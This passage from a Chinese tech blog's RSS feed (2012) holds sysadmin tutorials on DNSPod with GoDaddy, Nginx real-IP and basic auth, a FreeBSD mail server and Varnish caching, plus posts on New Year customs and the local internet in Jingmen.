不管它，本文主要介绍信国外godaddy注册的域名使用dnspod.cn的DNS服务器

第一步：先到www.dnspod.cn注册一个免费账号.请注意使用IE6以上浏览器。撒年代了，不要用IE6了呀.
[img]/upload/files/20120213/2012043129-upa8pXeyf5.png[/img]
注册过程省掉了。然后登陆，添加域名
[img]/upload/files/20120213/2012043205-CY7DWyunEu.png[/img]
输入域名名称。这儿不需要加www
[img]/upload/files/20120213/2012043224-pRGCwioG3e.png[/img]
添加成功了，点击进入管理，会提示你设置你的域名DNS。
如下
f1g1ns1.dnspod.net
f1g1ns2.dnspod.net
[img]/upload/files/20120213/2012043251-eiJaNW2GzI.png[/img]
好了。dnspod平台的暂时到这儿。
这时候我们去godaddy平台。
登陆并进入您的域名管理面板. 点击导航上的 My Account
[img]/upload/files/20120213/2012043431-mJ94tWSbm0.png[/img]
选择打开域名管理列表
[img]/upload/files/20120213/2012043439-qRWgynl7iO.png[/img]
找到您添加的域名.
点击相对应的 Launch 按钮进入域名管理面板
[img]/upload/files/20120213/2012043616-S6pzvnHuv2.png[/img]
在打开界面如下，选择Nameservers 下的 set nameservers
[img]/upload/files/20120213/2012043624-ip64AG5J4o.png[/img]
弹出的面板中，选择 I have specific nameservers for my domains
将 nameserver 1 和 nameserver 2 下方对应的填入刚才dnspod生成的
f1g1ns1.dnspod.net
f1g1ns2.dnspod.net
这两个地址.
点击OK保存
提示2小时左右生效，再确定OK
可以关闭godaddy面板了.
这时候我们返回dnspod.cn 面板中，坐等新的DNS生效,然后添加您的解析就成啦.
[img]/upload/files/20120213/2012044028-4FRwfOhMdK.png[/img]]]></description>
			<link>http://www.lvtao.net/html/1848.html</link>
			<pubDate>2012-02-13, 16:41:08</pubDate>
		</item>
		<item>
			<title>多级 Nginx 传递客户端 IP</title>
			<author>memory</author>
			<description><![CDATA[因为架构的需要采用多级 Nginx 反向代理，但是后端的程序获取到的客户端 IP 都是前端 Nginx 的 IP，问题的根源在于后端的 Nginx 在 HTTP Header 中取客户端 IP 时没有取对正确的值。
同样适用于前端是 Squid 或者其他反向代理的情况。

首先前端的 Nginx 要做转发客户端 IP 的配置：
location / {
proxy_pass http://localhost:8000;

# Forward the user’s IP address to Rails
proxy_set_header X-Real-IP $remote_addr;
# needed for HTTPS
# proxy_set_header X_FORWARDED_PROTO https;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
proxy_redirect off;
}

后端的 Nginx 需要安装一个 Module：NginxHttpRealIpModule，编译的时候默认不包含此 Module，需要重新编译安装 Nginx，configure 的时候加上 –with-http_realip_module，Nginx 升级或者添加/删除 Module 时支持热切换，可以避免中断服务。

升级后配置 NginxHttpRealIpModule，set_real_ip_from 就是指前端 Nginx 或者 Squid 的 IP：
location / {
proxy_pass http://localhost:8000;

# Forward the user’s IP address to Rails
proxy_set_header X-Real-IP $remote_addr;
# needed for HTTPS
# proxy_set_header X_FORWARDED_PROTO https;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
proxy_redirect off;
# NginxHttpRealIpModule
set_real_ip_from 192.168.1.0/24;
set_real_ip_from 192.168.2.1;
real_ip_header X-Real-IP;
}

最后记得 reload Nginx config
]]></description>
			<link>http://www.lvtao.net/html/1847.html</link>
			<pubDate>2012-02-13, 13:43:12</pubDate>
		</item>
		<item>
			<title>nginx前端负载，后端apache获取真实IP设置</title>
			<author>memory</author>
			<description><![CDATA[网站最前端是nginx，做的PROXY来转发请求到后端的apache上，所以获取的IP 都是NGINX PROXY 机器的IP，这对于分析和记录apache日志等很多基于IP判断的PHP程序都会出现一系列的问题，经过以下两处理便可让apache获取 正式的访问地址：
1.修改NGINX的配置文件NGINX.CONF 在里面加上
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
上面的设置能保证nginx把正确的ip转发到后端。
2.设置apache接受转发来的真实IP
说明：http://stderr.net/apache/rpaf/
下载：http://stderr.net/apache/rpaf/download/
http://yum.lvtao.net/lib/mod_rpaf-0.6.tar.gz
上面的扩展能保证apache能正常接受转发来的真实IP.
    # tar zxvf mod_rpaf-0.6.tar.gz
    # cd mod_rpaf-0.6
    # /usr/local/www/apache/bin/apxs -i -c -n mod_rpaf-2.0.so mod_rpaf-2.0.c
    接 着在 httpd.conf中添加
    LoadModule rpaf_module modules/mod_rpaf-2.0.so
    RPAFenable On
    RPAFsethostname On
    RPAFproxy_ips 172.150.48.1 # 填写Nginx的来访IP
    RPAFheader X-Forwarded-For
这样就可以获取客户端访问的真实IP了。]]></description>
			<link>http://www.lvtao.net/html/1846.html</link>
			<pubDate>2012-02-13, 13:42:33</pubDate>
		</item>
		<item>
			<title>Nginx为目录或网站加上密码认证</title>
			<author>memory</author>
			<description><![CDATA[nginx可以为网站或目录甚至特定的文件设置密码认证。密码必须是crypt加密的。可以用apache的htpasswd来创建密码。

格式为：htpasswd -b -c site_pass username password

site_pass为密码文件。放在同nginx配置文件同一目录下，当然你也可以放在其它目录下，那在nginx的配置文件中就要写明绝对地址或相对当前目录的地址。

如果你输入htpasswd命令提示没有找到命令时，你需要安装httpd.如centos是yum install httpd

如果是为了给网站加上认证，可以直接将认证语句写在nginx的配置server段中。

如果是为了给目录加上认证，就需要写成目录形式了。同时，还要在目录中加上php的执行，否则php就会被下载而不执行了。

例如：基于整个网站的认证,auth_basic在php解释之前。

server {
    listen       80;
    server_name www.lvtao.net;
    root  /www/lvtao;
    index index.html index.htm index.php;
    auth_basic "input you user name and  password";
    auth_basic_user_file /usr/local/nginx/conf/vhost/nginx_passwd;
    location ~ .php$ {
        fastcgi_pass  127.0.0.1:9000;
        fastcgi_index index.php;
        include fastcgi_params;
    }
    location ~ /\.ht {
         deny  all;
    }
    access_log /logs/lvtao.net_access.log main;
}

针对目录的认证，在一个单独的location中，并且在该location中嵌套一个解释php的location，否则php文件不会执行并且会被下载。auth_basic在嵌套的location之后。
server {
    listen       80;
    server_name www.lvtao.net;
    root  /www/lvtao;
    index index.html index.htm index.php;
    location ~ ^/admin/.* {
        location ~ \.php$ {
            fastcgi_pass  127.0.0.1:9000;
            fastcgi_index index.php;
            include fastcgi_params;
        }
        auth_basic "auth";
        auth_basic_user_file /usr/local/nginx/conf/vhost/auth/admin.pass;
    }
    location ~ .php$ {
        fastcgi_pass  127.0.0.1:9000;
        fastcgi_index index.php;
        include fastcgi_params;
    }
    location ~ /\.ht {
         deny  all;
    }
    access_log /logs/lvtao.net_access.log main;
}

这里有一个细节，就是location ~ ^/admin/.* {…} 保护admin目录下的所有文件。如果你只设了/admin/ 那么直接输入/admin/index.php还是可以访问并且运行的。 ^/admin/.* 意为保护该目录下所有文件。当然，只需要一次认证。并不会每次请求或每请求一个文件都要认证一下。]]></description>
			<link>http://www.lvtao.net/html/1845.html</link>
			<pubDate>2012-02-13, 13:39:05</pubDate>
		</item>
		<item>
			<title>在FreeBSD下架设安全的Mail Server及webmail</title>
			<author>memory</author>
			<description><![CDATA[一、准备工作
1.一台服务器或可充当服务器的电脑
2.FreeBSD的安装盘，DVD格式的

二、安装步骤
1.安装FreeBSD操作系统
2.portsnap更新ports树
3.编译需要的软件
----------------------------------------
进入/usr/ports/www/nginx执行make config
选择如下
[X] FILE_AIO
[X] HTTP_MODULE
[X] HTTP_CACHE_MODULE                                                                                                            
[X] HTTP_GZIP_STATIC_MODULE                                                                                                            
[X] HTTP_PERL_MODULE
[X] HTTP_REALIP_MODULE
[X] HTTP_REWRITE_MODULE
[X] HTTP_SECURE_LINK_MODULE
[X] HTTP_SSL_MODULE
[X] HTTP_SUB_MODULE
[X] HTTP_XSLT_MODULE
[X] WWW
然后make install clean
--------------------------------
进入/usr/port/lang/php52执行make config
[X] CLI
[X] CGI
[X] REDIRECT
[X] DISCARD
[X] FASTCGI
[X] FPM
[X] PATHINFO
执行make install clean
--------------------------------
进入/usr/ports/lang/php52-extensions执行make config
[X] BZ2
[X] CALENDAR
[X] CTYPE
[X] CURL
[X] DOM
[X] FILEINFO
[X] FILTER
[X] GD
[X] GETTEXT
[X] HASH
[X] ICONV
[X] IMAP
[X] JSON
[X] MBSTRING
[X] MCRYPT
[X] MHASH
[X] MYSQL
[X] MYSQLI
[X] OPENSSL
[X] PCNTL
[X] PCRE
[X] PDO
[X] PDO_MYSQL
[X] POSIX
[X] SESSION
[X] SIMPLEXML
[X] SNMP
[X] SOCKETS
[X] SPL
[X] SYSVMSG
[X] SYSVSEM
[X] SYSVSHM
[X] TOKENIZER
[X] XML
[X] XMLREADER
[X] XMLRPC
[X] XMLWRITER
[X] XSL
[X] ZIP
[X] ZLIB
执行make install clean
--------------------------
进入/usr/ports/databases/mysql55-server执行make config
[X] OPENSSL
执行make install clean
--------------------------
进入/usr/port/mail/courier-imap执行make config
[X] AUTH_MYSQL
make install clean
---------------------------
进入/usr/ports/mail/postfix执行make config
[X] PCRE
[X] SASL2
[X] TLS
[X] MYSQL
[X] VDA
make install clean
----------------------------
进入/usr/ports/security/clamav执行make config
[X] ARC
[X] ARJ
[X] LHA
[X] UNZOO
[X] UNRAR
[X] LLVM
[X] TESTS
[X] MILTER
[X] ICONV                 Enable ICONV support
make install clean
-----------------------------
进入/usr/ports/security/amavisd-new执行make config
[X] MYSQL
[X] SASL
[X] SPAMASSASSIN
[X] FILE
[X] RAR
[X] UNRAR
[X] ARJ
[X] LHA
[X] ARC
[X] CAB
[X] RPM
[X] ZOO
[X] LZOP
[X] FREEZE
[X] P7ZIP
[X] MSWORD
make install clean
---------------------------------
进入/usr/ports/mail/p5-Mail-SpamAssassin执行make config
[X] AS_ROOT
[X] SPAMC
[X] DKIM
[X] SSL
[X] GNUPG
[X] MYSQL
执行make install clean
-----------------------------
进入/usr/ports/mail/postfixadmin执行make config
[X] MYSQL
[X] MYSQLI
执行make install clean

软件安装工作完成，进入配置阶段，我很喜欢FreeBSD的一点就是，软件编译完成之后，所有的配置文件都会放在/usr/local/etc下，不需要你到处去找conf或者etc文件夹。


4.配置文件
重要第一步
打开/etc/rc.conf
写入
nginx_enable="YES"
mysql_enable="YES"
php_fpm_enable="YES"
进入/usr/local/etc/rc.d依次执行
#./nginx start
#./mysql-server start
#./php-fpm start
配置你的nginx和php，打开你的网站，直到你看见http://localhost/postfixadmin的安装界面，安装他。

进入/usr/local/etc/postfix
打开main.cf，到文件尾加入下列代码
#======= BASE ==============
#myhostname = mail
#mydomain = raytoon.cn
home_mailbox = maildir/
#mydestination = $myhostname
#local_recipient_maps =
command_directory = /usr/local/sbin
local_transport = virtual

#======= MYSQL =============
virtual_gid_maps = static:80
virtual_mailbox_base = /data/mail/virtual
virtual_uid_maps = static:80
virtual_minimum_uid = 80
virtual_alias_maps = mysql:/usr/local/etc/postfix/virtual_alias_maps.cf
virtual_mailbox_domains = mysql:/usr/local/etc/postfix/virtual_domains_maps.cf
virtual_mailbox_maps = mysql:/usr/local/etc/postfix/virtual_mailbox_maps.cf

#======= Quota ============
message_size_limit = 5242880
virtual_mailbox_limit_inbox = no
virtual_mailbox_limit_override = yes
virtual_maildir_extended = yes
virtual_mailbox_extend = yes
virtual_mailbox_limit_override = yes
virtual_create_maildirsize = yes
virtual_mailbox_limit_maps = mysql:/usr/local/etc/postfix/virtual_mailbox_limit_maps.cf
virtual_mailbox_limit = 52428800

#======== SASL ================
smtpd_sasl_auth_enable = yes
smtpd_sasl2_auth_enable = yes
smtpd_sasl_security_options = noanonymous
smtpd_sasl2_security_options = noanonymous
broken_sasl_auth_clients = yes
smtpd_delay_reject=yes
smtpd_recipient_restrictions = permit_sasl_authenticated,permit_auth_destination,reject
smtpd_client_restrictions = permit_sasl_authenticated
#smtpd_sasl_local_domain = $mydomain
smtpd_helo_required = yes
strict_rfc821_envelopes = yes
保存退出，注意80是用户和组ID，如果你的nginx用户和组ID不是80，你就需要改这两个数字
---------------------
新建/usr/local/etc/postfix/virtual_mailbox_limit_maps.cf
user = root
password = xxxxxxx
hosts = localhost
dbname = postfix
table = mailbox
select_field = quota
where_field = username
保存退出
----------------------
新建/usr/local/etc/postfix/virtual_alias_maps.cf
user = root
password = xxxxxxx
hosts = localhost
dbname = postfix
table = alias
select_field = goto
where_field = address
保存退出
-----------------------
新建/usr/local/etc/postfix/virtual_domains_maps.cf
user = root
password = xxxxxxxx
hosts = localhost
dbname = postfix
table = domain
select_field = description
where_field = domain
保存退出
------------------------
新建/usr/local/etc/postfix/virtual_mailbox_maps.cf
user = root
password = xxxxxxxx
hosts = localhost
dbname = postfix
table = mailbox
select_field = maildir
where_field = username
保存退出
-------------------------
打开/usr/local/etc/authlib/authdaemonrc，找到authmodulelist=删除其他选项，只留authmysql，找到authmodulelistorig=删除其他，只保留authmysql。加入version="authaemond.mysql"
保存退出
--------------------------
打开/usr/local/etc/authlib/authmysqlrc
DEFAULT_DOMAIN your.domian
MYSQL_CRYPT_PWFIELD password
MYSQL_DATABASE postfix
MYSQL_GID_FIELD '80'
MYSQL_HOME_FIELD '/data/mail/virtual'
MYSQL_LOGIN_FIELD username
MYSQL_MAILDIR_FIELD maildir
MYSQL_NAME_FIELD name
MYSQL_OPT 0
MYSQL_PASSWORD    xxxxxxxxxx
MYSQL_PORT 3306
#MYSQL_QUOTA_FIELD quota
MYSQL_SERVER        127.0.0.1
MYSQL_UID_FIELD '80'
MYSQL_USERNAME    root
MYSQL_USER_TABLE mailbox
保存退出
----------------------------
进入/usr/local/lib/sasl2/
新建文件smtpd.conf
pwcheck_method: authdaemond
log_level: 3
mech_list: PLAIN LOGIN
authdaemond_path: /var/run/authdaemond/socket
保存退出
----------------------------
然后进入/etc，编辑rc.conf，加入
clamav_clamd_enable="YES"
clamav_freshclam_enable="YES"
clamav_milter_enable="YES"
spamd_enable="YES"

sendmail_enable="NONE"
sendmail_submit_enable="NO"
sendmail_outbound_enbale="NO"
#sendmail_msp_queue_enable="NO"
postfix_enable="YES"
courier_authdaemond_enable="YES"
courier_imap_imapd_enable="YES"
courier_imap_imapd_ssl_enable="YES"
courier_imap_pop3d_enable="YES"
courier_imap_pop3d_ssl_enable="YES"
amavisd_enable="YES"
amavisd_pidfile="/var/amavis/amavisd.pid"
amavisd_ram="512m"
amavis_milter_enable="YES"
amavis_p0fanalyzer_enable="YES"
amavis_p0fanalyzer_p0f_filter="tcp dst port 25"
重启电脑，如果你不想重启，就在/etc下运行
#sh rc
#rehash
#newaliases

如果你还想使用ssl的imap或pop3，就需要用openssl生成比较合法的pem文件

5.安装webmail
进入/usr/ports/mail/atmail
执行make config
[X] MBSTRING
[X] ICONV
执行make install clean
完成，这里需要说明，atmail安装完成后，你需要去/usr/local/www/atmail下面执行#php lang.php all
然后你才能使用中文，否则你只有英文可以用。但是默认没有简体中文，只有繁体的。

imapd和postfix有任何问题可以去/var/log/maillog里面tail跟踪。]]></description>
			<link>http://www.lvtao.net/html/1844.html</link>
			<pubDate>2012-02-13, 13:36:42</pubDate>
		</item>
		<item>
			<title>Varnish不重启加载新配置文件</title>
			<author>memory</author>
			<description><![CDATA[假设启动的varnish服务如下：
    ./varnishd -f ../etc/varnish/default.vcl -s malloc,1G -T 127.0.0.1:3500
    注意：1. varnish服务本身，启动默认端口80；如果需要重新指定启动的端口使用 -a选项 ,如-a 0.0.0.0:8080
    2. -T 选项指定了varnish服务本身的管理端口，正是利用这个端口完成一些不关闭varnish服务而使新配置生效。
    操作步骤：
    1、登陆到管理接口：
    >telnet 127.0.0.1 3500
    >help (利用该命令可以得到很多的修改帮助)
    返回：
    200 377
    help [command]
    ping [timestamp]
    auth response
    quit
    banner
    status
    start
    stop
    stats
    vcl.load <configname> <filename>
    vcl.inline <configname> <quoted_VCLstring>
    vcl.use <configname>
    vcl.discard <configname>
    vcl.list
    vcl.show <configname>
    param.show [-l] [<param>]
    param.set <param> <value>
    purge.url <regexp>
    purge <field> <operator> <arg> [&& <field> <oper> <arg>]...
    purge.list
     
    使用命令
    vcl.load new.vcl /usr/local/varnish/etc/varnish/new.vcl (编译出错的话会有提示，成功会返回200)
    200
    然后使用
    vcl.use new.vcl (成功后同样会返回200)
    200
    此时新的配置文件已经生效！]]></description>
			<link>http://www.lvtao.net/html/1843.html</link>
			<pubDate>2012-02-13, 13:35:30</pubDate>
		</item>
		<item>
			<title>varnish基本配置 及使用教程</title>
			<author>memory</author>
			<description><![CDATA[采用源码安装
    wget http://www.varnish-cache.org/releases/varnish-cache-2.1.4
    cd ~/Desktop/2.1/varnish-cache
    sudo ./configure --prefix=/usr/local/varnish
    sudo make
    sudo make install

安装ok
安装完成之后，开始做基本的配置

    zhxia@zhxia-desktop:~$ vim /usr/local/etc/varnish/default.vcl
    # backend default {
    # .host = "127.0.0.1";
    # .port = "801";
    # }
    去掉上面的注释

开始运行varnish

    sudo varnishd -f /usr/local/etc/varnish/default.vcl -s malloc,1G -T 127.0.0.1:2000 -a 0.0.0.0:800 -f /usr/local/etc/varnish/default.vcl
    表示varnish当前使用的配置文件
    -s malloc,1G
    表示给varnish分配1G内存存储空间
    -T 127.0.0.1:2000
    varnish 管理界面
    -a 0.0.0.0:800
    varnish监听800端口
如果出现：

    varnishstat: error while loading shared libraries: libvarnish.so.1: cannot open shared object file: No such file or directory

执行：ldconfig，再重新启动
实例：

    修改nginx配置
    server {
    listen 80;
    server_name *.bbs.xiazh.dev.example.com;
    location / {
    proxy_pass http://127.0.0.1:800; //反向代理，varnish监听此端口
    }
    }
    server {
    listen 801;
    server_name *.bbs.xiazh.dev.example.com;
    location / {
    rewrite . /index.php last;
    }
    location /index.php {
    internal;
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_param SCRIPT_FILENAME /home/zhxia/projects/v2/app-aifang-bbs/index.php;
    include /etc/nginx/fastcgi_params;
    }
    }

配置varnish

    backend default {
    .host = "127.0.0.1";
    .port = "801";
    }

重新启动 varnish

    sudo pkill varnished
    sudo varnishd -f /usr/local/etc/varnish/default.vcl -s malloc,1G -T 127.0.0.1:2000 -a 0.0.0.0:800

[newpage]

具体的实例，假设我们有一个网站www.example.com, 需要增加varnish，来提升性能。
http header头信息中的 Cache-Control: s-maxage 参数可以设置页面在varnish中缓存的时间
nginx配置：

    server {
    listen 80
    server_name www.example.com;
    location / {
    proxy_pass http://127.0.0.1:800; #反向代理到varnish
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
    }
    server {
    listen 8080;
    server_name www.example.com;
    root /var/www/example;
    }

example.vcl配置：

    backend default {
    .host = "127.0.0.1";
    .port = "8080";
    .connect_timeout = 5s;
    .first_byte_timeout = 5s;
    .between_bytes_timeout = 5s;
    }
    sub vcl_recv {
    set req.backend=default;
    if (req.restarts == 0) {
    if (req.http.x-forwarded-for) {
    set req.http.X-Forwarded-For =
    req.http.X-Forwarded-For + ", " + client.ip;
    } else {
    set req.http.X-Forwarded-For = client.ip;
    }
    }
    if (req.request != "GET" &&
    req.request != "HEAD" &&
    req.request != "PUT" &&
    req.request != "POST" &&
    req.request != "TRACE" &&
    req.request != "OPTIONS" &&
    req.request != "DELETE") {
    /* Non-RFC2616 or CONNECT which is weird. */
    return (pipe);
    }
    if (req.request != "GET" && req.request != "HEAD") {
    /* We only deal with GET and HEAD by default */
    return (pass);
    }
    if (req.http.Authorization || req.http.Cookie) {
    /* Not cacheable by default */
    return (pass);
    }
    return (lookup);
    }
    sub vcl_hit {
    #只要页面刷新(F5、CTRL+F5),页面的varnish cache均失效
    if(req.http.Cache-Control~"no-cache"||req.http.Cache-Control~"max-age=0"||req.http.Pragma~"no-cache"){
    set obj.ttl=0s;
    return (restart);
    }
    return (deliver);
    }
    sub vcl_deliver {
    set resp.http.x-hits=obj.hits;
    if(obj.hits>0){
    set resp.http.X-Cache="hit";
    }
    else{
    set resp.http.X-Cache="MISS";
    }
    return (deliver);
    }
    sub vcl_fetch {
    if (!beresp.cacheable) {
    return (pass);
    }
    if (beresp.http.Set-Cookie) {
    return (pass);
    }
    #if(beresp.http.Pragma~"no-cache"||beresp.http.Cache-Control~"no-cache"||beresp.http.Cache-Control~"private"){
    # return (pass);
    # }
    if(req.request=="GET"&&req.http.host~"bbs.xiazh.dev.aifang.com$"){
    set beresp.ttl=1200s;
    }
    if(req.request=="GET" && req.url~"\.(png|swf|txt|jpg|css|js|html|htm)$"){
    set beresp.ttl=3600s;
    }
    return (deliver);
    }]]></description>
			<link>http://www.lvtao.net/html/1842.html</link>
			<pubDate>2012-02-13, 13:34:50</pubDate>
		</item>
		<item>
			<title>用DNS+GeoIP+Nginx+Varnish搭建cnd加速网络环境</title>
			<author>memory</author>
			<description><![CDATA[如何用BIND, GeoIP, Nginx, Varnish来创建你自己的高效的CDN网络？
CDN，意思是Content Distrubtion Network，意思是内容分发网络，简单的说，就是全地域范围内的负载均衡，全地域的概念可以是全国，也可以是全世界。由统一的DNS服务器进行地址转发，选择离用户最近的地区服务器进行负载均衡。本质上是从一个机房内的负载均衡扩展到了全世界范围内的负载均衡。同时可以将本地化的内容，由当地的服务器实现。做浏览器的地区自动选择。
比如在中国，被人为划分成两大区域，北方是网通，南方是电信。这两个网络之间互访是比较慢的。作为大型网站，一种解决办法是将全部服务器架设在双线或三线ISP处，由ISP来提供路由上的选择。这样做，线路的成本会比较高。另一种办法就是将服务器架设在两边，南方一台，北方一台，然后由服务器自己选择，如果IP在电信，就转发请求到南方的服务器，如果是网通就转发到北方的服务器。
再扩大范围，可以将美国来的请求交由美国服务器处理，这样也缩短了用户在路由上的等待时间。这就是内容分发网络。
而作为这个网络上的所有节点，都可以当成虚拟服务器来看待。至于在各地的服务器如何做负载均衡，可以由各节点之间完成。
准备工作如下：你需要下载如下软件以实现上述功能
Nginx，BIND，GeoIP，Varnish
接下来是编译和安装bind9和geoip
# tar -xzvf bind-9.2.4.tar.gz
# tar -xzvf GeoIP-1.4.6.tar.gz
# cd GeoIP-1.4.6
# ./configure –prefix=/usr/local/geoip
# make
# make install
# cd ..
# patch -p0 < bind-9.2.4-geodns-patch/patch.diff //给bind9打补丁，让bind9直接支持geoip库
# cd bind-9.2.4
# CFLAGS=”-I/usr/local/geoip/include” LDFLAGS=”-L/usr/local/geoip/lib -lGeoIP” ./configure –prefix=/usr/local/bind
# make
# make install
装好bind后我们来制作named.conf
view “us” {
// 匹配北美的客户端 US & Canada
match-clients { country_US; country_CA; };
// Provide recursive service to internal clients only.
recursion no;
zone “cdn.xianglei.com” {
type master;
file “pri/xianglei-us.db”;
};
zone “.” IN {
type hint;
file “named.ca”;
};
};
view “latin” {
// 匹配到南美国家
match-clients { country_AR; country_CL; country_BR; };
recursion no;
zone “cdn.xianglei.com” {
type master;
file “pri/xianglei-latin.db”;
};
zone “.” IN {
type hint;
file “named.ca”;
};
};
照此办理，你也可以匹配到欧洲，非洲等等，然后来开始制作nginx和varnish
注意，以上内容是你要在主节点服务器上做的，主节点服务器只负责对DNS请求进行转发。
约定一下，我们将Bind服务器叫做动态节点服务器，Nginx+Varnish叫做边界服务器。
以下内容是副节点服务器需要做的，也就是实际在某个地区放置的服务器
    # ./configure –prefix=/usr/local/nginx –with-http_realip_module
    # make
    # make install
并配置Nginx
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
upstream dynamic_node {
server 1.1.1.1:80; # 1.1.1.1 是主DNS节点的IP地址
}
server {
listen 8080;
server_name cdn.xianglei.net;
location ~* \.(gif|jpg|jpeg|png|wmv|avi|mpg|mpeg|mp4|htm|html|js|css|mp3|swf|ico|flv)$ {
proxy_set_header X-Real-IP $remote_addr;
[B]proxy_pass http://dynamic_node;
proxy_store /var/www/cache$uri;
proxy_store_access user:rw group:rw all:r;[/B]
}
以上我们用nginx只对静态文件进行缓存，将静态文件缓存在/var/www/cache文件夹下，如果你没有的话，需要创建这个文件夹。并且nginx监听的是8080端口，这是因为，我们需要用varnish来监听80端口进行动态文件的转发。这里实际上是用nginx做了一个静态文件的反向代理和缓存的服务器，而真正让用户能够看到网页和动态文件的反向代理是varnish，而静态和动态文件的分开存放，能将效率提升不少。
最后我们来配置varnish服务。
    # tar -xzvf varnish-2.1.2.tar.gz
    # ./configure –prefix=/usr/local/varnish
    # make
    # make install
然后是varnish的选项
    backend default {
    .host = “127.0.0.1″;
    .port = “8080″;
    }
    sub vcl_recv {
    if (req.url ~ “\.(js|css|jpg|jpeg|png|gif|gz|tgz|bz2|tbz|mp3|ogg|swf)$”) {
    return (lookup);
    }
    }
    sub vcl_fetch {
    if (req.url ~ “\.(js|css|jpg|jpeg|png|gif|gz|tgz|bz2|tbz|mp3|ogg|swf)$”) {
    unset obj.http.set-cookie;
    }
    }
其他的配置内容可参看varnish的配置文章。
总结：
这样做的好处在于：
1.从根源上解决了DNS在轮询上的不确定性，能够做到在DNS上的快速响应。也避免了过去用Nginx+GeoIP时的负载高的问题。毕竟DNS的计算要比Nginx小多了。
2.降低大网站的服务器负载压力和运营成本，毕竟F5BigIP和双线路的价格和服务费都太高了。
3.易扩展性强，如某地区负载压力大，只需在该地区增加边界服务器组的web server即可完成，无需考虑跳转问题。
其他优点我再想想。]]></description>
			<link>http://www.lvtao.net/html/1841.html</link>
			<pubDate>2012-02-13, 13:29:52</pubDate>
		</item>
		<item>
			<title>Linux安装配置varnish web加速器</title>
			<author>memory</author>
			<description><![CDATA[Varnish是一款高性能的开源HTTP加速器，它可以来做纯粹的代理服务器，负载均衡，但varnish最主要的功能是缓存加速，也是它最出色的地方。下面介绍如何安装和使用。
    wget -c http://repo.varnish-cache.org/source/varnish-3.0.1.tar.gz
    tar xzvf varnish-3.0.1.tar.gz
    cd varnish-3.0.1
    ./configure --prefix=/usr/local/varnish
    make
    make install
    groupadd varnish
    useradd -d /var/lib/varnish -g varnish -s /sbin/nologin varnish
    ln -s /usr/local/varnish/sbin/varnishd /usr/sbin/varnishd
启动varnish：
    varnishd -f /usr/local/varnish/etc/varnish/default.vcl -s malloc,1G -g varnish -u varnish -T 127.0.0.1:2000
关闭varnish:
    pkill varnish
启动参数介绍：
-f /usr/local/etc/varnish/default.vcl
这个 –f 选项指定varnishd使用哪个配置文件。
-s malloc，1G
这个 –s 选项用来确定varnish使用的存储类型和存储容量，我使用的是malloc类型（malloc是一个C函数，用于分配内存空间）， 1G 定义多少内存被malloced，1G = 1gigabyte。
-T 127.0.0.1：2000
Varnish有一个基于文本的管理接口，启动它的话可以在不停止varnish的情况下来管理varnish。您可以指定管理软件监听哪个接口。当然您不能让全世界的人都能访问您的varnish管理接口，因为他们可以很轻松的通过访问varnish管理接口来获得您的root访问权限。我推荐只让它监听本机端口。如果您的系统里有您不完全信任的用户，您可以通过防火墙规则来限制他访问varnish的管理端口。
-a 0.0.0.0：8080
这一句的意思是制定varnish监听所有IP发给8080端口的http请求，如果在生产环境下，您应该让varnish监听80，这也是默认的。
vcl配置文件的介绍请执行如何命令查看：
man /usr/local/varnish/share/man/man7/vcl.7
也可以查看在线文档：https://www.varnish-cache.org/docs/3.0/]]></description>
			<link>http://www.lvtao.net/html/1840.html</link>
			<pubDate>2012-02-13, 13:27:37</pubDate>
		</item>
		<item>
			<title>过年、春节最忌讳什么？你知道多少？</title>
			<author>memory</author>
			<description><![CDATA[大年初一
•大年初一忌打破碗、镜子等玻璃、陶瓷器物品，以防破财破运，若真不小心打破了补救方式就是用红纸包起来，先放置在神桌上，默念「岁岁平安」吉祥话语，等待破五日再丢弃。
•大年初一早上忌洗澡、洗头、洗衣物，才不会将财富与财运洗掉。
•大年初一忌叫他人姓名催人起床，这样会让对方整年都被人催促做事。
•大年初一早上忌吃稀饭、忌吃荤食与忌吃药，古时后穷人才会吃不起饭而吃稀饭，若于大年初一吃稀饭会导致一整年的贫穷， ​​另外大年初一忌杀生，所以也不适宜吃荤食，因而台语有句俗谚「初一早吃菜恰赢吃一年斋」，初一也尽量不要吃药，除非重病外，健康的人不适宜在这一天吃补药。
•大年初一不煮新饭，要吃除夕留下的过年饭。寓意去年的东 ​​西吃不完，到今年还有剩余。
•大年初一忌睡午觉，依古训「禁昼寝」劝人不要懒散，若于大年初一睡午觉会影响事业运。
•大年初一、二忌洗衣，传说者两天是水神生日，因此忌洗衣。

大年初二
•大年初二，女儿回娘家忌回门礼为单，由于传统上认为单数不吉利，女婿带回娘家的礼物必需成双。
•大年初一、二忌洗衣，传说者两天是水神生日，因此忌洗衣。

大年初三
•大年初三老鼠娶亲忌点灯。
•大年初三赤狗日忌拜年，赤狗为熛怒之神，遇之不祥，因此不宜外出也不宜拜年

大年初四
•忌出远门，这一天是民间习俗接神日，迎接众神明、灶王爷与家神回来守护家人，灶王爷会点名，所以不宜外出。

大年初五
•一定要将过年期间所制造的垃圾清扫干净，谓之「送穷」，否则会带来穷困。

大年初七
•大年初七，为七煞日，诸事不宜尤其是出远门。

大年初九
•大年初九为天公生，为玉皇上帝圣诞，忌晒衣服，也不能挑肥粪。

随便整里下来就好长一串，没想到过年除了喜气洋洋之外，要注意的地方还真是多呢！希望大家都可以过个好年，这些习俗、禁忌就提供给大家参考啦，「宁可信其有，不可信其无」嘛！ ]]></description>
			<link>http://www.lvtao.net/html/1839.html</link>
			<pubDate>2012-02-12, 19:12:55</pubDate>
		</item>
		<item>
			<title>荆门的互联网及网站发展只我见.</title>
			<author>memory</author>
			<description><![CDATA[回来荆门有近一年半了.从刚开始回来的预定计划加上开发，加上我的所见所闻，我也想了很多.
总结一下吧！

1.荆门人口少，城市发展空间大，据不完全统计，网民数约为30万左右。这对地方门户社区发展来说还是有很大的空间的。
2.荆门人好面子，这个即好也坏；
